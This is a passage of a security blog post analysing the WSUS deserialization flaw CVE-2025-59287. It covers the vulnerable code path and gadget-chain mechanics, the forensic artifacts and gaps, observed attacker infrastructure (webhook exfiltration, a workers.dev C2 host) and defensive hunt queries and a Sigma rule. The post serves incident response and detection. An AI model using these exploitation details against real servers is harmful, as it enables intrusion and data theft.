        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// Type validation AFTER deserialization&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;obj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;classType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;LoggedArgumentException&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Decrypted cookie has the wrong data type...&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;obj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The critical flaw is obvious: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BinaryFormatter.Deserialize()&lt;/code&gt; is called on attacker-controlled data before any type validation occurs. The type check happens after deserialization, which is too late. By the time the code realizes the object type is wrong, the gadget chain has already executed.&lt;/p&gt;

&lt;h3 id=&quot;the-gadget-chain&quot;&gt;The Gadget Chain&lt;/h3&gt;

&lt;p&gt;The PoC uses standard ysoserial.net gadget chains, typically leveraging:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;System.Collections.Generic.SortedSet&amp;lt;T&amp;gt;&lt;/code&gt; with a malicious comparer&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;System.Delegate&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;System.Reflection&lt;/code&gt; types to chain method invocations&lt;/li&gt;
  &lt;li&gt;Eventually calling &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;System.Diagnostics.Process.Start()&lt;/code&gt; to execute commands&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The serialized payload contains carefully crafted object graphs that abuse .NET’s type system to achieve code execution during deserialization. When &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BinaryFormatter&lt;/code&gt; reconstructs these objects, it invokes constructors and property setters that trigger the payload.&lt;/p&gt;

&lt;h3 id=&quot;process-execution-chain&quot;&gt;Process Execution Chain&lt;/h3&gt;

&lt;p&gt;Successful exploitation manifests in one of two process chains, depending on which WSUS component handles the request:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Via IIS Worker Process&lt;/strong&gt;:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;w3wp.exe → cmd.exe → cmd.exe → powershell.exe
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Via WSUS Service&lt;/strong&gt;:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;wsusservice.exe → cmd.exe → cmd.exe → powershell.exe
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The double cmd.exe invocation is characteristic of the gadget chain execution. Commands are typically base64-encoded PowerShell for obfuscation and payload flexibility.&lt;/p&gt;

&lt;h3 id=&quot;alternative-attack-paths&quot;&gt;Alternative Attack Paths&lt;/h3&gt;

&lt;p&gt;Researchers identified a second exploitation path through the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ReportingWebService&lt;/code&gt; using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SoapFormatter&lt;/code&gt; instead of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BinaryFormatter&lt;/code&gt;. Both formatters suffer from the same fundamental flaw: they deserialize untrusted data without validation. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ReportingWebService&lt;/code&gt; path targets event subscription mechanisms and triggers deserialization through the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SubscriptionEvent&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PopulateSubscriptionEventProperties&lt;/code&gt; methods.&lt;/p&gt;

&lt;h2 id=&quot;forensic-considerations-and-limitations&quot;&gt;Forensic Considerations and Limitations&lt;/h2&gt;

&lt;p&gt;Now we get to the part that matters for incident response: what forensic artifacts are left behind, and more importantly, what isn’t.&lt;/p&gt;

&lt;h3 id=&quot;what-youll-find&quot;&gt;What You’ll Find&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;IIS Logs&lt;/strong&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;C:\inetpub\logs\LogFiles\W3SVC*\*.log&lt;/code&gt;): 
Large POST requests to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/ClientWebService/Client.asmx&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/ReportWebService/ReportWebService.asmx&lt;/code&gt;. Look for requests with significantly larger than normal &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Content-Length&lt;/code&gt; headers. The encrypted payloads are typically several kilobytes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;WSUS Application Logs&lt;/strong&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;C:\Program Files\Update Services\LogFiles\SoftwareDistribution.log&lt;/code&gt;):
Deserialization errors and exceptions are logged here during exploitation attempts. Specifically, look for stack traces containing:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;System.InvalidCastException&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;System.Windows.Data.ObjectDataProvider&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;References to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BinaryFormatter.Deserialize&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ThreadAbortException&lt;/code&gt; entries correlated with exploitation timing&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Example from a real exploitation attempt observed by Eye Security:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;2025-10-24 06:09:25.952 UTC Warning w3wp.142 SoapUtilities.CreateException 
ThrowException: actor = https://host:8531/ClientWebService/client.asmx
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The log also contains fragments of base64-encoded serialized payloads starting with the pattern &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AAEAAAD/////AQAAAAAAAAAEAQAAAH9&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Windows Event Logs&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Event ID 4688 (Process Creation) in the Security log will show the suspicious process chain: w3wp.exe or wsusservice.exe spawning cmd.exe spawning powershell.exe&lt;/li&gt;
  &lt;li&gt;Event ID 7053 in the Application log from the “Windows Server Update Services” provider indicates deserialization errors&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Network Traffic&lt;/strong&gt;:
Connections to external infrastructure for command and control or data exfiltration. Observed in the wild:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Outbound connections to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;webhook.site&lt;/code&gt; for reconnaissance data exfiltration&lt;/li&gt;
  &lt;li&gt;Connections to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;workers.dev&lt;/code&gt; subdomains for C2 (e.g., &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;royal-boat-bf05.qgtxtebl.workers.dev&lt;/code&gt;)&lt;/li&gt;
  &lt;li&gt;HTTP POST requests with PowerShell or cURL user agents&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;what-you-wont-find-the-forensic-gaps&quot;&gt;What You Won’t Find (The Forensic Gaps)&lt;/h3&gt;

&lt;p&gt;Here’s where it gets uncomfortable. CVE-2025-59287 exploitation has several characteristics that make forensic analysis challenging:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Memory-Only Execution&lt;/strong&gt;: 
Many exploitation attempts execute entirely in memory. The initial payload delivered via deserialization spawns PowerShell with base64-encoded commands. If the attacker doesn’t drop files to disk, you’re left with volatile memory artifacts that disappear on reboot. Without process memory dumps captured during active exploitation, you might miss critical payload details.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Limited Prefetch Evidence&lt;/strong&gt;:
Because the exploit chain uses native Windows binaries (cmd.exe, powershell.exe) that are already present in prefetch, the artifacts don’t stand out. You’ll see prefetch entries, but they won’t be anomalous by themselves. You need timeline correlation with other indicators.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Minimal File System Footprint&lt;/strong&gt;:
The exploitation itself doesn’t require writing files. The encrypted payload is delivered over HTTP, decrypted in memory, deserialized, and executed. The only disk artifacts are whatever the post-exploitation payload does. If attackers limit themselves to reconnaissance (as observed in early wild exploitation), you might find nothing on disk at all.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Log Rotation and Overwriting&lt;/strong&gt;:
IIS logs rotate based on size and time. If exploitation occurred days or weeks ago and the logs have rotated, you’ve lost your best forensic evidence. WSUS &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SoftwareDistribution.log&lt;/code&gt; has similar rotation behavior.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Encrypted Network Traffic&lt;/strong&gt;:
If WSUS was configured for HTTPS (port 8531), the encrypted payload and exploitation traffic are within an encrypted channel. Without SSL/TLS interception or endpoint visibility, the network evidence is opaque.&lt;/p&gt;

&lt;h3 id=&quot;what-weve-seen-in-the-wild&quot;&gt;What We’ve Seen In The Wild&lt;/h3&gt;

&lt;p&gt;Based on public reporting from multiple security vendors, real-world exploitation has followed predictable patterns:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Initial Access&lt;/strong&gt; (October 23-24, 2025):
Attackers scanned the internet for exposed WSUS instances on ports 8530 and 8531. Thousands of WSUS servers were internet-facing due to misconfiguration, despite WSUS being designed for internal use.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reconnaissance Phase&lt;/strong&gt;:
Post-exploitation PowerShell commands enumerated:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Domain information (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Get-ADDomain&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;whoami /all&lt;/code&gt;)&lt;/li&gt;
  &lt;li&gt;Local users and administrators&lt;/li&gt;
  &lt;li&gt;Network configuration (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ipconfig /all&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Get-NetAdapter&lt;/code&gt;)&lt;/li&gt;
  &lt;li&gt;Running processes and services&lt;/li&gt;
  &lt;li&gt;Installed software&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This information was exfiltrated to attacker-controlled webhooks using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Invoke-WebRequest&lt;/code&gt; or cURL.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Persistence and Lateral Movement&lt;/strong&gt;:
In some cases, attackers established persistent C2 using Cloudflare Workers infrastructure. Bitdefender observed secondary-stage payloads being downloaded and executed, indicating this was initial access for larger campaigns (pre-ransomware activity).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Hands-On-Keyboard Activity&lt;/strong&gt;:
Multiple vendors reported interactive operator activity following automated exploitation, suggesting human attackers taking manual control after bots established access.&lt;/p&gt;

&lt;h2 id=&quot;detection-and-hunting&quot;&gt;Detection and Hunting&lt;/h2&gt;

&lt;p&gt;If you’re reading this section first because you need to hunt for compromise right now, I get it. Here’s what you need to know.&lt;/p&gt;

&lt;h3 id=&quot;high-confidence-indicators&quot;&gt;High-Confidence Indicators&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Process Creation Monitoring&lt;/strong&gt; (Windows Event ID 4688 or EDR telemetry):&lt;/p&gt;

&lt;p&gt;Look for suspicious child processes of w3wp.exe or wsusservice.exe:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;cmd.exe&lt;/li&gt;
  &lt;li&gt;powershell.exe (especially with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-EncodedCommand&lt;/code&gt;)&lt;/li&gt;
  &lt;li&gt;rundll32.exe&lt;/li&gt;
  &lt;li&gt;regsvr32.exe&lt;/li&gt;
  &lt;li&gt;certutil.exe&lt;/li&gt;
  &lt;li&gt;Any unsigned binaries&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The double-hop pattern (wsusservice.exe → cmd.exe → cmd.exe → powershell.exe) is highly suspicious.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Base64-Encoded PowerShell&lt;/strong&gt;:&lt;/p&gt;

&lt;p&gt;PowerShell invocations with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-EncodedCommand&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-enc&lt;/code&gt; flags launched from WSUS-related parent processes.&lt;/p&gt;

&lt;p&gt;Example hunt query (PowerShell):&lt;/p&gt;
&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;Get-WinEvent&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-LogName&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Security&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Where-Object&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;$_&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Id&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-eq&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4688&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-and&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; 
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;$_&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Properties&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Value&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-like&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;*w3wp.exe*&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-or&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; 
     &lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;$_&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Properties&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Value&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-like&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;*wsusservice.exe*&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-and&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;$_&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Properties&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Value&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-match&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;(cmd\.exe|powershell\.exe)&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;WSUS Application Log Errors&lt;/strong&gt;:&lt;/p&gt;

&lt;p&gt;Query for Event ID 7053 with deserialization-related strings:&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;Get-WinEvent&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-FilterHashtable&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;LogName&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;Application&apos;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ProviderName&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;Windows Server Update Services&apos;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ID&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7053&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Where-Object&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;$_&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Message&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-match&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;InvalidCastException&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-or&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;$_&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Message&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-match&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;ObjectDataProvider&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-or&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;$_&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Message&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-match&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;BinaryFormatter&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;IIS Log Analysis&lt;/strong&gt;:&lt;/p&gt;

&lt;p&gt;Search for large POST requests to WSUS endpoints:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Linux/grep approach&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;POST /ClientWebService/Client.asmx&quot;&lt;/span&gt; /path/to/iis/logs/&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;.log | &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;awk&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;$10 &amp;gt; 5000 {print $0}&apos;&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# PowerShell approach&lt;/span&gt;
Select-String &lt;span class=&quot;nt&quot;&gt;-Path&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;C:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\i&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;netpub&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\l&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ogs&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\L&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ogFiles&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\W&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;3SVC*&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\*&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;.log&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-Pattern&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;POST.*Client.asmx&quot;&lt;/span&gt; | 
  Where-Object &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt; 
    &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-split&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;\s+&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)[&lt;/span&gt;9] &lt;span class=&quot;nt&quot;&gt;-as&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;int] &lt;span class=&quot;nt&quot;&gt;-gt&lt;/span&gt; 5000 
  &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Look for the pattern “AuthorizationCookie” in IIS logs:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Network Connections&lt;/strong&gt;:&lt;/p&gt;

&lt;p&gt;Monitor outbound connections from WSUS servers, especially to unexpected destinations:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Webhook services (webhook.site, pipedream.net)&lt;/li&gt;
  &lt;li&gt;Cloudflare Workers domains (*.workers.dev)&lt;/li&gt;
  &lt;li&gt;Newly registered domains (registered within last 30 days)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;sigma-rules&quot;&gt;Sigma Rules&lt;/h3&gt;

&lt;p&gt;The SigmaHQ repository includes two rules specifically for CVE-2025-59287:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;WSUS Deserialization Detection&lt;/strong&gt;:&lt;/p&gt;
&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Exploitation Activity of CVE-2025-59287 - WSUS Deserialization&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;e5f66e87-7d6b-404f-92fe-7aa67814b5cd&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;status&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;experimental&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Detects cast exceptions in WSUS application logs indicating CVE-2025-59287 exploitation attempts&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;references&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;https://unit42.paloaltonetworks.com/cve-2025-59287/&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;https://hawktrace.com/blog/CVE-2025-59287-UNAUTH&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;logsource&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;product&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;windows&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;service&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;application&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;detection&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;selection&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
